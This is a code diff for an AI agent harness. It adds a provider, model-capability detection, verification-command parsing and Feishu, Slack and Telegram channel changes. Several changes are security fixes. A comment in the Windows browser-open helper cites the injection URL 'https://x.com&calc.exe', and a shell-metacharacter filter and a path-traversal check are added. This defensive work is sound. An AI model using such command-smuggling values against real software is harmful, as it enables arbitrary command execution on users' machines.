yield ApiTextDeltaEvent(text=delta.content)
_think_buf += delta.content
visible, _think_buf = _strip_think_blocks(_think_buf)
if visible:
collected_content += visible
yield ApiTextDeltaEvent(text=visible)
# Accumulate tool calls
if delta.tool_calls:
@@ -406,3 +451,34 @@ class OpenAICompatibleClient:
if status == 429:
return RateLimitFailure(msg)
return RequestFailure(msg)
# Matches complete <think>…</think> blocks (DOTALL so newlines are included).
_THINK_RE = re.compile(r"<think>.*?</think>", re.DOTALL)
_THINK_OPEN_TAG = "<think>"
def _strip_think_blocks(buf: str) -> tuple[str, str]:
"""Strip complete ``<think>…</think>`` blocks and return ``(visible_text, leftover)``.
Complete pairs are removed via regex. An unclosed ``<think>`` is held in
*leftover* so it can be re-evaluated once the closing tag arrives in the
next streaming chunk.
"""
# Remove fully-closed blocks.
cleaned = _THINK_RE.sub("", buf)
# Hold back any unclosed <think> for the next chunk.
open_idx = cleaned.find(_THINK_OPEN_TAG)
if open_idx != -1:
return cleaned[:open_idx], cleaned[open_idx:]
# Streaming providers may split the opening tag itself across chunk
# boundaries (e.g. ``"<thi"`` then ``"nk>..."``). Hold back the longest
# suffix that could still become ``<think>`` on the next chunk.
max_prefix = min(len(cleaned), len(_THINK_OPEN_TAG) - 1)
for prefix_len in range(max_prefix, 0, -1):
if _THINK_OPEN_TAG.startswith(cleaned[-prefix_len:]):
return cleaned[:-prefix_len], cleaned[-prefix_len:]
return cleaned, ""
+61
View File
@@ -2,6 +2,7 @@
from __future__ import annotations
import re
from dataclasses import dataclass
from openharness.auth.external import describe_external_binding
@@ -123,3 +124,63 @@ def auth_status(settings: Settings) -> str:
if resolved.source.startswith("external:"):
return f"configured ({resolved.source.removeprefix('external:')})"
return "configured"
# ---------------------------------------------------------------------------
# Multimodal (vision) capability detection
# ---------------------------------------------------------------------------
# Known multimodal model patterns (lowercase, regex).
# These models can accept image input natively.
_MULTIMODAL_MODEL_PATTERNS: list[re.Pattern[str]] = [
# Anthropic Claude 3+ (all Claude 3 and later support images)
re.compile(r"^claude-3(?:\.\d+)?(?:-sonnet|-opus|-haiku)?"),
re.compile(r"^claude-(?:sonnet|opus|haiku)-\d"),
# OpenAI GPT-4o / o-series
re.compile(r"^gpt-4o"),
re.compile(r"^o[1349]-"),
# Google Gemini
re.compile(r"^gemini-(?:pro-)?vision"),
re.compile(r"^gemini-2\.\d+"),
# Qwen / DashScope VL series
re.compile(r"^qwen-vl"),
re.compile(r"^qwen2\.5?-vl"),
re.compile(r"^qvq-"),
# DeepSeek VL
re.compile(r"^deepseek-vl"),
re.compile(r"^deepseek-vision"),
# Open-source multimodal
re.compile(r"^llava"),
re.compile(r"^cogvlm"),
re.compile(r"^internvl"),
re.compile(r"^glm-4v"),
# Moonshot / Kimi (k2.5 supports images)
re.compile(r"^kimi-k2\.5"),
# StepFun (阶跃星辰) — Step-2 and Step-1v support images
re.compile(r"^step-2"),
re.compile(r"^step-1v"),
# MiniMax VL
re.compile(r"^minimax-vl"),
# Zhipu GLM-4V
re.compile(r"^glm-4v"),
# Mistral Pixtral
re.compile(r"^pixtral"),
# Groq vision models (llama-3.2-vision, etc.)
re.compile(r"vision"),
# Generic: model names containing "vl" or "vision" as a word boundary
re.compile(r"(?:^|[-\s/])vl(?:$|[-\s])"),
]
def is_model_multimodal(model: str) -> bool:
"""Return True when the model name indicates multimodal (vision) capability.
This is a heuristic based on known model naming conventions. It errs on
the side of returning False for unknown models so that the image-to-text
fallback tool is used rather than silently failing.
"""
normalized = model.strip().lower()
# Strip provider prefix like "anthropic/" or "openai/"
if "/" in normalized:
normalized = normalized.split("/", 1)[-1]
return any(pattern.search(normalized) is not None for pattern in _MULTIMODAL_MODEL_PATTERNS)
+14
View File
@@ -124,6 +124,20 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
is_local=False,
is_oauth=False,
),
# ModelScope: OpenAI-compatible inference API
ProviderSpec(
name="modelscope",
keywords=("modelscope",),
env_key="MODELSCOPE_API_KEY",
display_name="ModelScope",
backend_type="openai_compat",
default_base_url="https://api-inference.modelscope.cn/v1",
detect_by_key_prefix="",
detect_by_base_keyword="modelscope",
is_gateway=False,
is_local=False,
is_oauth=False,
),
# === Standard cloud providers (matched by model-name keyword) ============
# Anthropic: native SDK for claude-* models
ProviderSpec(
+17 -6
View File
@@ -7,11 +7,13 @@ performs the interactive authentication and returns the obtained credential.
from __future__ import annotations
import logging
import os
import platform
import subprocess
import sys
from abc import ABC, abstractmethod
from typing import Any
from urllib.parse import urlparse
log = logging.getLogger(__name__)
@@ -76,18 +78,26 @@ class DeviceCodeFlow(AuthFlow):
@staticmethod
def _try_open_browser(url: str) -> bool:
"""Attempt to open *url* in the default browser; return True if likely succeeded."""
# Only http(s) URLs are valid here. ShellExecute / xdg-open / `open`
# all resolve unrecognised tokens (e.g. ``file:``, ``javascript:``, a
# bare executable name) against the registry or PATH, so refusing
# everything else removes a class of unintended-action footguns.
if urlparse(url).scheme not in {"http", "https"}:
return False
try:
plat = platform.system()
if plat == "Darwin":
subprocess.Popen(["open", url], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return True
if plat == "Windows":
subprocess.Popen(
["start", "", url],
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
# ShellExecute via os.startfile — does NOT route through
# cmd.exe, so ``&`` / ``|`` / ``^`` in the URL cannot be
# interpreted as command separators. Replaces the prior
# ``subprocess.Popen([...], shell=True)`` form, which would
# execute appended commands when a hostile or compromised
# device-flow endpoint returned a URL like
# ``https://x.com&calc.exe``.
os.startfile(url) # type: ignore[attr-defined]
return True
# Linux / WSL
proc = subprocess.Popen(
@@ -102,6 +112,7 @@ class DeviceCodeFlow(AuthFlow):
return True
except Exception:
return False
return False
def run(self) -> str:
from openharness.api.copilot_auth import poll_for_access_token, request_device_code
+20
View File
@@ -37,6 +37,7 @@ _KNOWN_PROVIDERS = [
"moonshot",
"gemini",
"minimax",
"modelscope",
]
_AUTH_SOURCES = [
@@ -51,6 +52,7 @@ _AUTH_SOURCES = [
"moonshot_api_key",
"gemini_api_key",
"minimax_api_key",
"modelscope_api_key",
]
_PROFILE_BY_PROVIDER = {
@@ -62,6 +64,7 @@ _PROFILE_BY_PROVIDER = {
"moonshot": "moonshot",
"gemini": "gemini",
"minimax": "minimax",
"modelscope": "modelscope",
}
@@ -157,6 +160,15 @@ class AuthManager:
configured = True
origin = "file"
state = "configured"
elif source == "modelscope_api_key":
if os.environ.get("MODELSCOPE_API_KEY"):
configured = True
origin = "env"
state = "configured"
elif load_credential(storage_provider, "api_key"):
configured = True
origin = "file"
state = "configured"
elif load_credential(storage_provider, "api_key"):
configured = True
origin = "file"
@@ -253,6 +265,14 @@ class AuthManager:
configured = True
source = "file"
elif provider == "modelscope":
if os.environ.get("MODELSCOPE_API_KEY"):
configured = True
source = "env"
elif load_credential("modelscope", "api_key"):
configured = True
source = "file"
elif provider in ("bedrock", "vertex"):
# These typically use environment-level credentials (AWS/GCP).
cred = load_credential(provider, "api_key")
+109 -14
View File
@@ -5,9 +5,11 @@ from __future__ import annotations
import asyncio
import json
import os
import shlex
import subprocess
import tempfile
import time
from dataclasses import dataclass
from hashlib import sha1
from html import escape
from pathlib import Path
@@ -94,11 +96,14 @@ _DEFAULT_VERIFICATION_POLICY = {
"commands": [
"uv run pytest -q",
"uv run ruff check src tests scripts",
(
"cd frontend/terminal && "
"([ -x ./node_modules/.bin/tsc ] || npm ci --no-audit --no-fund) && "
"./node_modules/.bin/tsc --noEmit"
),
{
"command": (
"cd frontend/terminal && "
"([ -x ./node_modules/.bin/tsc ] || npm ci --no-audit --no-fund) && "
"./node_modules/.bin/tsc --noEmit"
),
"shell": True,
},
],
"require_tests_before_merge": True,
}
@@ -128,6 +133,69 @@ def _json_default(value: object) -> object:
return str(value)
_SHELL_METACHARS = frozenset(";&|`$<>\n\r")
@dataclass(frozen=True)
class _VerificationCommand:
"""Parsed verification-policy entry.
When ``shell`` is false, ``argv`` is executed with ``shell=False``.
When ``shell`` is true, ``raw`` is handed to the shell (explicit opt-in).
``error`` signals a policy entry that must not be executed; callers emit
an error step so the verification gate fails loudly.
"""
raw: str
argv: tuple[str, ...]
shell: bool
error: str | None = None
def _parse_verification_entry(entry: object) -> _VerificationCommand:
if isinstance(entry, dict):
raw = str(entry.get("command", "")).strip()
if not raw:
return _VerificationCommand(raw=str(entry), argv=(), shell=False, error="empty command")
if bool(entry.get("shell", False)):
return _VerificationCommand(raw=raw, argv=(), shell=True)
# fall through and validate as an argv-form command
elif isinstance(entry, str):
raw = entry.strip()
if not raw:
return _VerificationCommand(raw=entry, argv=(), shell=False, error="empty command")
else:
return _VerificationCommand(
raw=str(entry),
argv=(),
shell=False,
error="entry must be a string or a mapping with a 'command' key",
)
if any(ch in _SHELL_METACHARS for ch in raw):
return _VerificationCommand(
raw=raw,
argv=(),
shell=False,
error=(
"command contains shell metacharacters; use the mapping form "
"{command: '...', shell: true} in verification_policy.yaml to opt in"
),
)
try:
argv = shlex.split(raw)
except ValueError as exc:
return _VerificationCommand(
raw=raw,
argv=(),
shell=False,
error=f"could not tokenize command: {exc}",
)
if not argv:
return _VerificationCommand(raw=raw, argv=(), shell=False, error="empty command")
return _VerificationCommand(raw=raw, argv=tuple(argv), shell=False)
def _looks_available(command: str, cwd: Path) -> bool:
lowered = command.lower()
if lowered.startswith("uv "):
@@ -2011,19 +2079,37 @@ class RepoAutopilotStore:
await close_runtime(bundle)
return "".join(collected).strip()
def _verification_commands(self, policies: dict[str, Any]) -> list[str]:
def _verification_commands(self, policies: dict[str, Any]) -> list[_VerificationCommand]:
configured = policies.get("verification", {}).get("commands", [])
commands = [str(item).strip() for item in configured if str(item).strip()]
return [command for command in commands if _looks_available(command, self._cwd)]
parsed = [_parse_verification_entry(entry) for entry in configured]
selected: list[_VerificationCommand] = []
for cmd in parsed:
if cmd.error is not None:
selected.append(cmd)
continue
if _looks_available(cmd.raw, self._cwd):
selected.append(cmd)
return selected
def _run_verification_steps(self, policies: dict[str, Any], *, cwd: Path | None = None) -> list[RepoVerificationStep]:
steps: list[RepoVerificationStep] = []
for command in self._verification_commands(policies):
for cmd in self._verification_commands(policies):
if cmd.error is not None:
steps.append(
RepoVerificationStep(
command=cmd.raw,
returncode=-1,
status="error",
stderr=f"verification policy error: {cmd.error}",
)
)
continue
target: str | list[str] = cmd.raw if cmd.shell else list(cmd.argv)
try:
completed = subprocess.run(
command,
target,
cwd=cwd or self._cwd,
shell=True,
shell=cmd.shell,
text=True,
capture_output=True,
check=False,
@@ -2031,17 +2117,26 @@ class RepoAutopilotStore:
)
steps.append(
RepoVerificationStep(
command=command,
command=cmd.raw,
returncode=completed.returncode,
status="success" if completed.returncode == 0 else "failed",
stdout=(completed.stdout or "")[-4000:],
stderr=(completed.stderr or "")[-4000:],
)
)
except FileNotFoundError as exc:
steps.append(
RepoVerificationStep(
command=cmd.raw,
returncode=-1,
status="error",
stderr=f"executable not found: {exc}",
)
)
except subprocess.TimeoutExpired as exc:
steps.append(
RepoVerificationStep(
command=command,
command=cmd.raw,
returncode=-1,
status="error",
stdout=_safe_text(getattr(exc, "stdout", ""))[-4000:],
@@ -2051,7 +2146,7 @@ class RepoAutopilotStore:
except Exception as exc: # pragma: no cover - defensive
steps.append(
RepoVerificationStep(
command=command,
command=cmd.raw,
returncode=-1,
status="error",
stderr=str(exc),
+1 -1
View File
@@ -41,6 +41,6 @@ async def spawn_session(
command,
cwd=resolved_cwd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
)
return SessionHandle(session_id=session_id, process=process, cwd=resolved_cwd)
+329 -15
View File
@@ -15,6 +15,7 @@ from openharness.channels.bus.queue import MessageBus
from openharness.channels.impl.base import BaseChannel
from openharness.channels.impl.base import resolve_channel_media_dir
from openharness.config.schema import FeishuConfig
from openharness.utils.helpers import safe_filename
import importlib.util
import logging
@@ -38,6 +39,174 @@ class _FeishuSenderInfo:
display_name: str
def _clean_mention_value(value: Any) -> str:
if value is None:
return ""
return str(value).strip()
def _normalize_mention_name(value: str) -> str:
return value.strip().lstrip("@").strip().lower()
def _configured_bot_names(config: FeishuConfig) -> set[str]:
raw_names = getattr(config, "bot_names", []) or []
if isinstance(raw_names, str):
items = [item.strip() for item in raw_names.split(",")]
else:
items = [str(item).strip() for item in raw_names]
names = {_normalize_mention_name(item) for item in items if item.strip()}
return names or {"ohmo"}
def _mention_value(raw: Any, key: str) -> Any:
if isinstance(raw, dict):
return raw.get(key)
return getattr(raw, key, None)
def _mention_id_value(raw_id: Any, key: str) -> Any:
if isinstance(raw_id, dict):
return raw_id.get(key)
return getattr(raw_id, key, None)
def _extract_feishu_mentions(
content_json: dict,
raw_mentions: list[Any] | tuple[Any, ...] | None = None,
) -> list[dict[str, str]]:
"""Return normalized mention metadata from Feishu text/post payloads."""
mentions: list[dict[str, str]] = []
seen: set[tuple[str, str, str, str, str]] = set()
def add(raw: Any) -> None:
mention_id = _mention_value(raw, "id") or {}
record = {
"key": _clean_mention_value(_mention_value(raw, "key")),
"name": _clean_mention_value(_mention_value(raw, "name") or _mention_value(raw, "user_name")),
"open_id": _clean_mention_value(
_mention_value(raw, "open_id") or _mention_id_value(mention_id, "open_id")
),
"user_id": _clean_mention_value(
_mention_value(raw, "user_id") or _mention_id_value(mention_id, "user_id")
),
"union_id": _clean_mention_value(
_mention_value(raw, "union_id") or _mention_id_value(mention_id, "union_id")
),
}
key = (record["key"], record["name"], record["open_id"], record["user_id"], record["union_id"])
if any(record.values()) and key not in seen:
seen.add(key)
mentions.append(record)
if raw_mentions:
for item in raw_mentions:
add(item)
raw_mentions = content_json.get("mentions")
if isinstance(raw_mentions, list):
for item in raw_mentions:
if isinstance(item, dict):
add(item)
def walk(value: Any) -> None:
if isinstance(value, dict):
if value.get("tag") == "at":
add(value)
for child in value.values():
walk(child)
elif isinstance(value, list):
for child in value:
walk(child)
walk(content_json)
return mentions
def _feishu_mentions_bot(
content_json: dict,
text: str,
config: FeishuConfig,
*,
mentions: list[dict[str, str]] | None = None,
) -> bool:
"""Best-effort bot mention detection for Feishu group messages."""
bot_open_id = str(getattr(config, "bot_open_id", "") or "").strip()
bot_names = _configured_bot_names(config)
for mention in mentions if mentions is not None else _extract_feishu_mentions(content_json):
ids = {mention.get("open_id", ""), mention.get("user_id", ""), mention.get("union_id", "")}
if bot_open_id and bot_open_id in ids:
return True
name = _normalize_mention_name(mention.get("name", ""))
if name and any(name == candidate or candidate in name for candidate in bot_names):
return True
normalized_text = text.strip().lower()
for name in bot_names:
if re.search(rf"(^|\s)@{re.escape(name)}(?=$|\s|[:,])", normalized_text):
return True
return False
def _normalize_feishu_group_policy(value: str | None) -> str:
normalized = str(value or "").strip().lower().replace("-", "_")
aliases = {
"all": "open",
"always": "open",
"always_reply": "open",
"managed_mention": "managed_or_mention",
"managed_or_at": "managed_or_mention",
"at": "mention",
"mentions": "mention",
}
normalized = aliases.get(normalized, normalized)
if normalized in {"open", "mention", "managed", "managed_or_mention"}:
return normalized
return "managed_or_mention"
def _is_ohmo_managed_feishu_group(chat_id: str) -> bool:
workspace = os.environ.get("OHMO_WORKSPACE")
if not workspace:
return False
try:
from ohmo.group_registry import load_managed_group_record
return load_managed_group_record(
workspace=workspace,
channel="feishu",
chat_id=chat_id,
) is not None
except Exception:
logger.exception("Failed to load ohmo managed Feishu group metadata chat_id=%s", chat_id)
return False
def _should_process_feishu_group_message(
*,
chat_type: str,
chat_id: str,
mentions_bot: bool,
config: FeishuConfig,
) -> bool:
if str(chat_type or "").strip().lower() != "group":
return True
policy = _normalize_feishu_group_policy(getattr(config, "group_policy", "managed_or_mention"))
if policy == "open":
return True
if policy == "mention":
return mentions_bot
if policy == "managed":
return _is_ohmo_managed_feishu_group(chat_id)
if policy == "managed_or_mention":
return mentions_bot or _is_ohmo_managed_feishu_group(chat_id)
return mentions_bot
class FeishuApiError(RuntimeError):
"""Raised when Feishu returns an unsuccessful API response."""
def _extract_share_card_content(content_json: dict, msg_type: str) -> str:
"""Extract text representation from share cards and interactive messages."""
parts = []
@@ -263,6 +432,26 @@ class FeishuChannel(BaseChannel):
self._sender_cache: OrderedDict[str, _FeishuSenderInfo] = OrderedDict()
self._loop: asyncio.AbstractEventLoop | None = None
def _ensure_rest_client(self) -> bool:
"""Initialize the Feishu REST client without starting the WebSocket receiver."""
if self._client is not None:
return True
if not FEISHU_AVAILABLE:
logger.error("Feishu SDK not installed. Run: pip install lark-oapi")
return False
if not self.config.app_id or not self.config.app_secret:
logger.error("Feishu app_id and app_secret not configured")
return False
import lark_oapi as lark
self._client = lark.Client.builder() \
.app_id(self.config.app_id) \
.app_secret(self.config.app_secret) \
.domain(self.config.domain) \
.log_level(lark.LogLevel.INFO) \
.build()
return True
async def start(self) -> None:
"""Start the Feishu bot with WebSocket long connection."""
if not FEISHU_AVAILABLE:
@@ -277,12 +466,8 @@ class FeishuChannel(BaseChannel):
self._running = True
self._loop = asyncio.get_running_loop()
# Create Lark client for sending messages
self._client = lark.Client.builder() \
.app_id(self.config.app_id) \
.app_secret(self.config.app_secret) \
.log_level(lark.LogLevel.INFO) \
.build()
if not self._ensure_rest_client():
return
# Create event handler (only register message receive, ignore other events)
event_handler = lark.EventDispatcherHandler.builder(
@@ -297,6 +482,7 @@ class FeishuChannel(BaseChannel):
self.config.app_id,
self.config.app_secret,
event_handler=event_handler,
domain=self.config.domain,
log_level=lark.LogLevel.INFO
)
@@ -749,10 +935,20 @@ class FeishuChannel(BaseChannel):
filename = f"{file_key[:16]}{ext}"
if data and filename:
file_path = media_dir / filename
safe_name = safe_filename(filename)
if not safe_name:
logger.warning("Rejected %s download with unsafe filename %r", msg_type, filename)
return None, f"[{msg_type}: download failed]"
media_root = media_dir.resolve()
file_path = (media_root / safe_name).resolve()
if not file_path.is_relative_to(media_root):
logger.warning("Rejected %s download outside media directory: %r", msg_type, filename)
return None, f"[{msg_type}: download failed]"
file_path.write_bytes(data)
logger.debug("Downloaded %s to %s", msg_type, file_path)
return str(file_path), f"[{msg_type}: {filename}]"
return str(file_path), f"[{msg_type}: {safe_name}]"
return None, f"[{msg_type}: download failed]"
@@ -800,30 +996,109 @@ class FeishuChannel(BaseChannel):
logger.error("Error sending Feishu %s message: %s", msg_type, e)
return False
@staticmethod
def _format_response_error(action: str, response: Any) -> str:
log_id = response.get_log_id() if hasattr(response, "get_log_id") else ""
return (
f"{action} failed: code={getattr(response, 'code', '')}, "
f"msg={getattr(response, 'msg', '')}, log_id={log_id}"
)
def _create_managed_group_sync(self, user_open_id: str, name: str) -> str:
"""Create a Feishu group containing the user and the app bot."""
from lark_oapi.api.im.v1 import CreateChatRequest, CreateChatRequestBody
if not self._client:
raise RuntimeError("Feishu client not initialized")
request = (
CreateChatRequest.builder()
.user_id_type("open_id")
.set_bot_manager(True)
.request_body(
CreateChatRequestBody.builder()
.name(name)
.user_id_list([user_open_id])
.chat_mode("group")
.chat_type("private")
.build()
)
.build()
)
response = self._client.im.v1.chat.create(request)
if not response.success():
raise FeishuApiError(self._format_response_error("create Feishu group", response))
chat_id = getattr(getattr(response, "data", None), "chat_id", None)
if not chat_id:
raise FeishuApiError("create Feishu group failed: response missing chat_id")
logger.info("Created Feishu managed group name=%r chat_id=%s", name, chat_id)
return str(chat_id)
async def create_managed_group(self, *, user_open_id: str, name: str) -> str:
"""Create a Feishu group for a single user and the ohmo bot."""
loop = asyncio.get_running_loop()
return await loop.run_in_executor(None, self._create_managed_group_sync, user_open_id, name)
def _rename_group_sync(self, chat_id: str, name: str) -> None:
"""Rename a Feishu group."""
from lark_oapi.api.im.v1 import UpdateChatRequest, UpdateChatRequestBody
if not self._client:
raise RuntimeError("Feishu client not initialized")
request = (
UpdateChatRequest.builder()
.user_id_type("open_id")
.chat_id(chat_id)
.request_body(UpdateChatRequestBody.builder().name(name).build())
.build()
)
response = self._client.im.v1.chat.update(request)
if not response.success():
raise FeishuApiError(self._format_response_error("rename Feishu group", response))
logger.info("Renamed Feishu group chat_id=%s name=%r", chat_id, name)
async def rename_group(self, *, chat_id: str, name: str) -> None:
"""Rename a Feishu group."""
loop = asyncio.get_running_loop()
await loop.run_in_executor(None, self._rename_group_sync, chat_id, name)
async def send(self, msg: OutboundMessage) -> None:
"""Send a message through Feishu, including media (images/files) if present."""
if not self._client:
if not self._ensure_rest_client():
logger.warning("Feishu client not initialized")
return
try:
receive_id_type = "chat_id" if msg.chat_id.startswith("oc_") else "open_id"
loop = asyncio.get_running_loop()
reply_mid = msg.metadata.get("message_id")
chat_type = str(msg.metadata.get("chat_type") or "").lower()
reply_mid = (
msg.metadata.get("message_id")
if chat_type == "group" or msg.metadata.get("thread_id") or msg.metadata.get("root_id")
else None
)
failed_media: list[str] = []
sent_media: list[str] = []
for file_path in msg.media:
if not os.path.isfile(file_path):
logger.warning("Media file not found: %s", file_path)
failed_media.append(file_path)
continue
ext = os.path.splitext(file_path)[1].lower()
if ext in self._IMAGE_EXTS:
key = await loop.run_in_executor(None, self._upload_image_sync, file_path)
if key:
await loop.run_in_executor(
ok = await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "image", json.dumps({"image_key": key}, ensure_ascii=False),
reply_mid,
)
if ok:
sent_media.append(file_path)
else:
failed_media.append(file_path)
else:
failed_media.append(file_path)
else:
key = await loop.run_in_executor(None, self._upload_file_sync, file_path)
if key:
@@ -833,11 +1108,26 @@ class FeishuChannel(BaseChannel):
media_type = "media"
else:
media_type = "file"
await loop.run_in_executor(
ok = await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, media_type, json.dumps({"file_key": key}, ensure_ascii=False),
reply_mid,
)
if ok:
sent_media.append(file_path)
else:
failed_media.append(file_path)
else:
failed_media.append(file_path)
if failed_media:
names = ", ".join(os.path.basename(path) for path in failed_media)
failure_body = json.dumps({"text": f"文件发送失败:{names}"}, ensure_ascii=False)
await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "text", failure_body,
reply_mid,
)
if msg.content and msg.content.strip():
fmt = self._detect_msg_format(msg.content)
@@ -952,9 +1242,6 @@ class FeishuChannel(BaseChannel):
chat_type = message.chat_type
msg_type = message.message_type
# Add reaction
await self._add_reaction(message_id, self.config.react_emoji)
# Parse content
content_parts = []
media_paths = []
@@ -1001,6 +1288,31 @@ class FeishuChannel(BaseChannel):
if not content and not media_paths:
return
mentions = _extract_feishu_mentions(content_json, getattr(message, "mentions", None))
mentions_bot = chat_type == "group" and _feishu_mentions_bot(
content_json,
content,
self.config,
mentions=mentions,
)
if not _should_process_feishu_group_message(
chat_type=chat_type,
chat_id=chat_id,
mentions_bot=mentions_bot,
config=self.config,
):
logger.info(
"Feishu group message ignored by policy chat_id=%s policy=%s mentions_bot=%s mention_names=%s mention_open_ids=%s",
chat_id,
getattr(self.config, "group_policy", "managed_or_mention"),
mentions_bot,
[item.get("name", "") for item in mentions],
[item.get("open_id", "") for item in mentions],
)
return
# Add reaction only after policy says this message will be handled.
await self._add_reaction(message_id, self.config.react_emoji)
# Forward to message bus
reply_to = chat_id if chat_type == "group" else sender_id
@@ -1019,6 +1331,8 @@ class FeishuChannel(BaseChannel):
"root_id": getattr(message, "root_id", None),
"chat_type": chat_type,
"msg_type": msg_type,
"mentions": mentions,
"mentions_bot": mentions_bot,
"sender_display_name": sender_display_name,
"sender_label": sender_display_name or sender_id,
}
+2 -1
View File
@@ -165,7 +165,8 @@ class ChannelManager:
try:
await channel.start()
except Exception as e:
logger.error("Failed to start channel %s: %s", name, e)
setattr(channel, "last_error", str(e))
logger.exception("Failed to start channel %s", name)
async def start_all(self) -> None:
"""Start all channels and the outbound dispatcher."""
+7 -3
View File
@@ -179,8 +179,11 @@ class SlackChannel(BaseChannel):
except Exception as e:
logger.debug("Slack reactions_add failed: %s", e)
# Thread-scoped session key for channel/group messages
session_key = f"slack:{chat_id}:{thread_ts}" if thread_ts and channel_type != "im" else None
# Preserve Slack thread metadata for reply routing, but let the ohmo
# gateway router derive the session key. The router includes sender
# identity for shared chats; passing a senderless Slack override here
# would make different people in the same thread share one session.
chat_type = "p2p" if channel_type == "im" else "group"
try:
await self._handle_message(
@@ -188,13 +191,14 @@ class SlackChannel(BaseChannel):
chat_id=chat_id,
content=text,
metadata={
"thread_ts": thread_ts,
"chat_type": chat_type,
"slack": {
"event": event,
"thread_ts": thread_ts,
"channel_type": channel_type,
},
},
session_key=session_key,
)
except Exception:
logger.exception("Error handling Slack message from %s", sender_id)
+20 -3
View File
@@ -19,6 +19,14 @@ from openharness.utils.helpers import split_message
logger = logging.getLogger(__name__)
TELEGRAM_MAX_MESSAGE_LEN = 4000 # Telegram message character limit
_TELEGRAM_URL_LOGGERS = ("httpx", "httpcore", "telegram.ext")
def silence_telegram_token_url_loggers() -> None:
"""Prevent Telegram bot tokens from appearing in dependency INFO logs."""
for name in _TELEGRAM_URL_LOGGERS:
logging.getLogger(name).setLevel(logging.WARNING)
def _markdown_to_telegram_html(text: str) -> str:
@@ -111,6 +119,8 @@ class TelegramChannel(BaseChannel):
self.config: TelegramConfig = config
self.groq_api_key = groq_api_key
self._app: Application | None = None
self.last_error: str | None = None
self.polling_started = False
self._chat_ids: dict[str, int] = {} # Map sender_id to chat_id for replies
self._typing_tasks: dict[str, asyncio.Task] = {} # chat_id -> typing loop task
self._media_group_buffers: dict[str, dict] = {}
@@ -123,6 +133,9 @@ class TelegramChannel(BaseChannel):
return
self._running = True
self.last_error = None
self.polling_started = False
silence_telegram_token_url_loggers()
# Build the application with larger connection pool to avoid pool-timeout on long runs
req = HTTPXRequest(connection_pool_size=16, pool_timeout=5.0, connect_timeout=30.0, read_timeout=30.0)
@@ -165,8 +178,10 @@ class TelegramChannel(BaseChannel):
# Start polling (this runs until stopped)
await self._app.updater.start_polling(
allowed_updates=["message"],
drop_pending_updates=True # Ignore old messages on startup
drop_pending_updates=False,
)
self.polling_started = True
logger.info("Telegram polling started")
# Keep running until stopped
while self._running:
@@ -175,6 +190,7 @@ class TelegramChannel(BaseChannel):
async def stop(self) -> None:
"""Stop the Telegram bot."""
self._running = False
self.polling_started = False
# Cancel all typing indicators
for chat_id in list(self._typing_tasks):
@@ -301,7 +317,7 @@ class TelegramChannel(BaseChannel):
user = update.effective_user
await update.message.reply_text(
f"👋 Hi {user.first_name}! I'm nanobot.\n\n"
f"👋 Hi {user.first_name}! I'm {self.config.bot_name}.\n\n"
"Send me a message and I'll respond!\n"
"Type /help to see available commands."
)
@@ -311,7 +327,7 @@ class TelegramChannel(BaseChannel):
if not update.message:
return
await update.message.reply_text(
"🐈 nanobot commands:\n"
f"🐈 {self.config.bot_name} commands:\n"
"/new — Start a new conversation\n"
"/stop — Stop the current task\n"
"/help — Show available commands"
@@ -492,6 +508,7 @@ class TelegramChannel(BaseChannel):
async def _on_error(self, update: object, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Log polling / handler errors instead of silently swallowing them."""
self.last_error = str(context.error)
logger.error("Telegram error: %s", context.error)
def _get_extension(self, media_type: str, mime_type: str | None) -> str:
+904 -9
View File
File diff suppressed because it is too large Load Diff
+4
View File
@@ -4,14 +4,18 @@ from openharness.commands.registry import (
CommandContext,
CommandRegistry,
CommandResult,
MemoryCommandBackend,
SlashCommand,
create_default_command_registry,
lookup_skill_slash_command,
)
__all__ = [
"CommandContext",
"CommandRegistry",
"CommandResult",
"MemoryCommandBackend",
"SlashCommand",
"create_default_command_registry",
"lookup_skill_slash_command",
]
File diff suppressed because it is too large Load Diff
+9 -1
View File
@@ -34,6 +34,9 @@ class BaseChannelConfig(_CompatModel):
class TelegramConfig(BaseChannelConfig):
token: str = ""
chat_id: str | None = None
proxy: str | None = None
reply_to_message: bool = True
bot_name: str = "ohmo"
class SlackConfig(BaseChannelConfig):
@@ -51,6 +54,12 @@ class FeishuConfig(BaseChannelConfig):
app_secret: str = ""
encrypt_key: str = ""
verification_token: str = ""
# Group reply policy is enforced by ohmo gateway because managed-group
# metadata lives outside the generic Feishu channel adapter.
group_policy: str = "managed_or_mention"
bot_open_id: str = ""
bot_names: list[str] = Field(default_factory=lambda: ["ohmo", "openclaw", "openharness"])
domain: str = "https://open.feishu.cn" # use https://open.larksuite.com for Lark international
class DingTalkConfig(BaseChannelConfig):
@@ -108,4 +117,3 @@ class ChannelConfigs(_CompatModel):
class Config(_CompatModel):
channels: ChannelConfigs = Field(default_factory=ChannelConfigs)
providers: ProviderConfigs = Field(default_factory=ProviderConfigs)
+245 -40
View File
@@ -63,8 +63,15 @@ class MemorySettings(BaseModel):
enabled: bool = True
max_files: int = 5
max_entrypoint_lines: int = 200
max_entrypoint_bytes: int = 25_000
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
auto_extract_enabled: bool = False
auto_extract_max_records: int = 3
session_memory_enabled: bool = True
auto_dream_enabled: bool = False
auto_dream_min_hours: float = 24.0
auto_dream_min_sessions: int = 5
class SandboxNetworkSettings(BaseModel):
@@ -106,6 +113,14 @@ class SandboxSettings(BaseModel):
docker: DockerSandboxSettings = Field(default_factory=DockerSandboxSettings)
class WebSettings(BaseModel):
"""Outbound web tool configuration."""
proxy: str | None = None
resolution_mode: str = "auto"
synthetic_dns_cidrs: list[str] = Field(default_factory=list)
class ProviderProfile(BaseModel):
"""Named provider workflow configuration."""
@@ -240,6 +255,30 @@ def default_provider_profiles() -> dict[str, ProviderProfile]:
default_model="MiniMax-M2.7",
base_url="https://api.minimax.io/v1",
),
"nvidia": ProviderProfile(
label="NVIDIA NIM",
provider="nvidia",
api_format="openai",
auth_source="nvidia_api_key",
default_model="openai/gpt-oss-120b",
